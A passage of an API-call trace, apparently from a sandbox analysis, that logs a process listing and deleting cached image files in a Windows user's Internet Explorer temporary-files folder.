pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLv5i[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLv5i[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLv5i[1].jpg" [0099.904] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLv5i[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlv5i[1].jpg")) returned 1 [0099.907] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb97ad20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb97ad20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb97ad20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9be, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLwpx[1].jpg", cAlternateFileName="BBDLWP~1.JPG")) returned 1 [0099.907] lstrlenW (lpString="BBDLwpx[1].jpg") returned 14 [0099.907] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLwpx[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLwpx[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLwpx[1].jpg" [0099.907] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLwpx[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlwpx[1].jpg")) returned 1 [0099.910] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba132a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba132a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba132a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1767, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLxXg[1].jpg", cAlternateFileName="BBDLXX~1.JPG")) returned 1 [0099.910] lstrlenW (lpString="BBDLxXg[1].jpg") returned 14 [0099.910] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDLxXg[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLxXg[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLxXg[1].jpg" [0099.911] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDLxXg[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdlxxg[1].jpg")) returned 1 [0099.914] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd86cb20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd86cb20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd86cb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x293b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDM5IR[1].jpg", cAlternateFileName="BBDM5I~1.JPG")) returned 1 [0099.914] lstrlenW (lpString="BBDM5IR[1].jpg") returned 14 [0099.914] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDM5IR[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM5IR[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM5IR[1].jpg" [0099.914] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM5IR[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdm5ir[1].jpg")) returned 1 [0099.920] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4ac08860, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x4ac08860, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x4ac2e9c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6b2f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDM8Mj[1].jpg", cAlternateFileName="BBDM8M~1.JPG")) returned 1 [0099.920] lstrlenW (lpString="BBDM8Mj[1].jpg") returned 14 [0099.920] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDM8Mj[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM8Mj[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM8Mj[1].jpg" [0099.920] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDM8Mj[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdm8mj[1].jpg")) returned 1 [0099.924] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9ed140, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9ed140, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9ed140, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8ec, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMcxK[1].jpg", cAlternateFileName="BBDMCX~1.JPG")) returned 1 [0099.924] lstrlenW (lpString="BBDMcxK[1].jpg") returned 14 [0099.924] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMcxK[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMcxK[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMcxK[1].jpg" [0099.925] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMcxK[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmcxk[1].jpg")) returned 1 [0099.927] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd85ab480, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd85ab480, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd85ab480, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1e95, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMgVZ[1].jpg", cAlternateFileName="BBDMGV~1.JPG")) returned 1 [0099.927] lstrlenW (lpString="BBDMgVZ[1].jpg") returned 14 [0099.927] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMgVZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMgVZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMgVZ[1].jpg" [0099.927] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMgVZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmgvz[1].jpg")) returned 1 [0099.931] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7342860, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe7342860, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe7531a40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2218, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMhpZ[1].jpg", cAlternateFileName="BBDMHP~1.JPG")) returned 1 [0099.931] lstrlenW (lpString="BBDMhpZ[1].jpg") returned 14 [0099.931] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMhpZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMhpZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMhpZ[1].jpg" [0099.931] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMhpZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmhpz[1].jpg")) returned 1 [0100.315] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd86cb20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd86cb20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd86cb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2d2b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMjYw[1].jpg", cAlternateFileName="BBDMJY~1.JPG")) returned 1 [0100.315] lstrlenW (lpString="BBDMjYw[1].jpg") returned 14 [0100.315] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMjYw[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMjYw[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMjYw[1].jpg" [0100.315] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMjYw[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmjyw[1].jpg")) returned 1 [0100.315] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a36fee0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a36fee0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a36fee0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2e59, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMkEn[1].jpg", cAlternateFileName="BBDMKE~1.JPG")) returned 1 [0100.315] lstrlenW (lpString="BBDMkEn[1].jpg") returned 14 [0100.315] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMkEn[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMkEn[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMkEn[1].jpg" [0100.315] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMkEn[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmken[1].jpg")) returned 1 [0100.407] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18f0e280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18f0e280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18f0e280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDMlhy[1].jpg", cAlternateFileName="BBDMLH~1.JPG")) returned 1 [0100.407] lstrlenW (lpString="BBDMlhy[1].jpg") returned 14 [0100.407] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDMlhy[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMlhy[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMlhy[1].jpg" [0100.407] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDMlhy[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdmlhy[1].jpg")) returned 1 [0100.447] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc09ef20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc09ef20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7cb, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDsiQ2[1].jpg", cAlternateFileName="BBDSIQ~1.JPG")) returned 1 [0100.559] lstrlenW (lpString="BBDsiQ2[1].jpg") returned 14 [0100.559] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDsiQ2[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsiQ2[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsiQ2[1].jpg" [0100.559] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsiQ2[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdsiq2[1].jpg")) returned 1 [0100.559] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x30fe, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDsyaT[1].jpg", cAlternateFileName="BBDSYA~1.JPG")) returned 1 [0100.559] lstrlenW (lpString="BBDsyaT[1].jpg") returned 14 [0100.559] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDsyaT[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsyaT[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsyaT[1].jpg" [0100.559] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDsyaT[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbdsyat[1].jpg")) returned 1 [0100.560] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc372940, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc372940, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc372940, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x929, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDuJ15[1].jpg", cAlternateFileName="BBDUJ1~1.JPG")) returned 1 [0100.560] lstrlenW (lpString="BBDuJ15[1].jpg") returned 14 [0100.560] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBDuJ15[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDuJ15[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDuJ15[1].jpg" [0100.560] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBDuJ15[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbduj15[1].jpg")) returned 1 [0100.633] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBjBl9m[1].png", cAlternateFileName="BBJBL9~1.PNG")) returned 1 [0100.633] lstrlenW (lpString="BBjBl9m[1].png") returned 14 [0100.633] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBjBl9m[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBjBl9m[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBjBl9m[1].png" [0100.633] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBjBl9m[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbjbl9m[1].png")) returned 1 [0100.658] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfe0840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfe0840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfe0840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBoqF0J[1].png", cAlternateFileName="BBOQF0~1.PNG")) returned 1 [0100.658] lstrlenW (lpString="BBoqF0J[1].png") returned 14 [0100.658] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBoqF0J[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBoqF0J[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBoqF0J[1].png" [0100.658] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBoqF0J[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bboqf0j[1].png")) returned 1 [0100.671] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe63a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbe63a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x214d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBqPKnQ[1].jpg", cAlternateFileName="BBQPKN~1.JPG")) returned 1 [0100.671] lstrlenW (lpString="BBqPKnQ[1].jpg") returned 14 [0100.671] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBqPKnQ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBqPKnQ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBqPKnQ[1].jpg" [0100.671] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBqPKnQ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbqpknq[1].jpg")) returned 1 [0100.682] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBw2j7b[1].jpg", cAlternateFileName="BBW2J7~1.JPG")) returned 1 [0100.682] lstrlenW (lpString="BBw2j7b[1].jpg") returned 14 [0100.682] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="BBw2j7b[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBw2j7b[1].jpg") 